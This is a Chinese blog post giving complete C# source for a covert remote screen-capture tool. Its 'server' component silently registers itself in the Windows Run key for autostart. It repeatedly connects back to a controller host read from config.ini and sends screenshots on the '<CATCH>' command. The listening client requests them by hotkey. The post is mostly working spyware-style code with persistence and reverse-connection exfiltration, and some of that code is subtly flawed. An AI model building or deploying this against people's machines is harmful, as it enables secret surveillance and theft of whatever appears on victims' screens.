zoukankan      html  css  js  c++  java
  • 远程截取屏幕内容

    //服务器端代码

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Drawing.Imaging;
    using System.Text;
    using System.Windows.Forms;
    using System.IO;
    using System.Net;
    using System.Net.Sockets;
    using Microsoft.Win32;
    using System.Threading;

    namespace 远程屏幕监视
    {
        public partial class Form1 : Form
        {
            Socket socket = null;
            Thread th = null;
            string path = string.Empty;
            public Form1()
            {
                InitializeComponent();
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                //如果连接的配置文件不存在,则退出
                path = Path.Combine(Application.StartupPath, "config.ini");
                if (File.Exists(path) == false)
                {
                    Application.Exit();
                    return;
                }
                //检查注册表项,如果不存在启动项,则加入。

                RegistryKey RootKey = Registry.CurrentUser;
                RegistryKey subKey = null;
                try
                {
                    subKey = RootKey.OpenSubKey(@"Software/Microsoft/Windows/CurrentVersion/Run", true);
                    if (subKey.GetValue("ScreenViewer") == null)
                    {
                        subKey.SetValue("ScreenViewer", Application.ExecutablePath);
                    }
                    subKey.Close();
                }
                catch {/* 出现错误,则忽略。 */ }
                RootKey.Close();  //关闭注册所有句柄,释放资源

                //连接
                IPAddress ip=null;
                int port=0;
               
                using (StreamReader sr = new StreamReader(path))
                {
                    try
                    {
                        string s = sr.ReadToEnd();
                        sr.Close();
                        string[] res = s.Split(new char[] {':' });
                        ip = Dns.GetHostAddresses(res[0])[0];
                        port = int.Parse(res[1]);
                    }
                    catch { }
                }
                try
                {
                    socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    //连接,循环
                    while (true)
                    {
                        try
                        {
                            socket.Connect(ip, port);
                            if (socket.Connected)
                            {
                                break;
                            }
                        }
                        catch { Thread.Sleep(5000); }
                    }

                    ThreadStart sss = new ThreadStart(this.DoReceiveAndWhrite);
                    th = new Thread(sss);
                    th.Start();
                }
                catch { }
            }

            private void Form1_FormClosing(object sender, FormClosingEventArgs e)
            {
                if (th != null)
                {
                    try
                    {
                        th.Abort();
                    }
                    catch { th = null; }
                }

                if (socket != null)
                {
                    try
                    {
                        socket.Close();
                    }
                    catch
                    {

                    }
                }
                //关闭原因
                if (e.CloseReason == CloseReason.TaskManagerClosing ||
                    e.CloseReason == CloseReason.WindowsShutDown)
                {
                    Application.Exit();       //正常关闭
                }
            }


            /// <summary>
            /// 接收和发送
            /// </summary>
            private void DoReceiveAndWhrite()
            {
                try
                {
                    while (true)
                    {
                        byte[] buffer =new byte[1024];
                        //接受控制端的消息
                        socket.Blocking = true;
                        int len=socket.Receive(buffer);
                        if (len > 0)
                        {
                            string mss = Encoding.Default.GetString(buffer,0,len);
                            if (mss.Trim() == "<CATCH>") //仅摄屏一次
                            {
                                MemoryStream MS = GetBitmapStream();
                                byte[] tbuffer = new byte[1024];
                                MS.Seek(0, SeekOrigin.Begin);
                                while (MS.Read(tbuffer, 0, 1024) > 0)
                                {
                                    socket.Send(tbuffer);//发送
                                    tbuffer = new byte[1024];
                                }
                                MS.Close();
                                //结束标记
                                socket.Send(Encoding.Default.GetBytes("OK"));
                            }


                        }
                    }
                }
                catch { }
            }


            /// <summary>
            /// 得到图象的内存流
            /// </summary>
            /// <returns></returns>
            private MemoryStream GetBitmapStream()
            {
                int width = Screen.PrimaryScreen.Bounds.Width;//宽
                int height = Screen.PrimaryScreen.Bounds.Height;//高
                //创建位图对象
                Bitmap mybit = new Bitmap(width, height);
                //复制屏幕内容到图象上
                Graphics g = Graphics.FromImage(mybit);
                MemoryStream ms = new MemoryStream();
                try
                {
                    g.CopyFromScreen(0, 0, 0, 0, new Size(width, height));
                    mybit.Save(ms, ImageFormat.Gif);
                }
                catch { return null; }
                finally
                {
                    g.Dispose();
                    mybit.Dispose();
                    //ms.Close();
                }
                return ms;
            }


        }
    }

    =====================================

    //客户端代码

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Net;
    using System.Net.Sockets;
    using System.Threading;
    using System.IO;

    namespace 客户端
    {
        public partial class Form1 : Form
        {
            TcpListener listemer = null;
            Socket socket = null;
            Thread th = null;
            public Form1()
            {
                CheckForIllegalCrossThreadCalls = false;
                InitializeComponent();
                listemer = new TcpListener(IPAddress.Any,18889);
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                button1.Enabled = true;
                button2.Enabled = false;
            }

            private void Do()
            {
                socket = listemer.AcceptSocket();
                textBox1.Text = ((IPEndPoint)socket.RemoteEndPoint).Address.ToString();
                Form2 f = new Form2(socket);
                f.ShowDialog();
            }

            private void button1_Click(object sender, EventArgs e)
            {
                listemer.Start();
                ThreadStart start = new ThreadStart(this.Do);
                th = new Thread(start);
                th.Start();
                button1.Enabled = false;
                button2.Enabled = true;
            }

            private void button2_Click(object sender, EventArgs e)
            {
                listemer.Stop();
                try
                {
                    th.Abort();
                }
                catch { }

                button1.Enabled = true;
                button2.Enabled = false;
            }

            private void button3_Click(object sender, EventArgs e)
            {
                if(textBox2.Text=="")
                    return;
                string filename = Path.Combine(Application.StartupPath, "config.ini");
                FileStream fsr = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite);
                StreamWriter sw = new StreamWriter(fsr);
                try
                {
                    string s = textBox2.Text;
                    sw.Write(s + ":18889");
                    sw.Flush();
                }
                catch { MessageBox.Show("写入文件失败。"); }
                finally
                {
                    sw.Close();
                    sw.Dispose();

                    fsr.Close();
                    fsr.Dispose();
                }
            }
        }
    }

    ==========================================================================

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Net;
    using System.Net.Sockets;
    using System.Threading;
    using System.IO;

    namespace 客户端
    {
        public partial class Form2 : Form
        {
            Socket mySocket=null;
            public Form2(Socket s)
            {
                InitializeComponent();
                this.mySocket = s;
            }

            private void Form2_Load(object sender, EventArgs e)
            {

            }


            /// <summary>
            /// 获取图象
            /// </summary>
            /// <returns></returns>
            private Image GetBitmap()
            {
                Image mb = null;
                MemoryStream ms = new MemoryStream();
                byte[] buffer = null;
                try
                {
                    mySocket.Blocking = true;
                    //发送指令
                    mySocket.Send(Encoding.Default.GetBytes("<CATCH>"));

                    buffer = new byte[1024];
                    //把接收到的字节写入内存流
                    int count = mySocket.Receive(buffer);
                    while (count > 0)
                    {
                        string st = Encoding.Default.GetString(buffer,0,count);
                        if (st == "OK")
                        {
                            break;
                        }
                        ms.Write(buffer, 0, buffer.Length);
                        buffer = new byte[1024];
                        count = mySocket.Receive(buffer);
                    }
                    mb = Image.FromStream(ms);
                }
                catch
                {
                    MessageBox.Show("读取远程数据出错。");
                    return null;
                }
                finally
                {
                    ms.Close();
                }

                return mb;
            }

            private void Form2_KeyDown(object sender, KeyEventArgs e)
            {
                if ((e.Alt == true) && (e.KeyCode == Keys.K))
                {
                    this.BackgroundImage = GetBitmap();
                    /*
                    Graphics g = this.CreateGraphics();
                    g.DrawImage(GetBitmap(),new Point(0,0));
                    g.Dispose();
                     */
                }
            }

            private void Form2_FormClosing(object sender, FormClosingEventArgs e)
            {
                if (mySocket != null)
                {
                    try
                    {
                        mySocket.Close();
                    }
                    catch { }
                }
            }


        }
    }

    效果图

    运行效果图

    效果图

  • 相关阅读:
    Java SSL证书的安装
    zookeeper集群配置
    ERROR org.apache.zookeeper.ClientCnxn:532
    线程池c3p0和dbcp2的配置初始化实例
    SIP/2.0 403 Forbidden(Invalid domain in From: header)
    OkHttp实现文件上传进度
    Http 缓存机制
    Cookie、Session 和 Token区别
    RecyclerView-- 侧滑删除和拖动排序
    RecyclerView--添加头部和底部
  • 原文地址:https://www.cnblogs.com/tcjiaan/p/2422701.html
Copyright © 2011-2022 走看看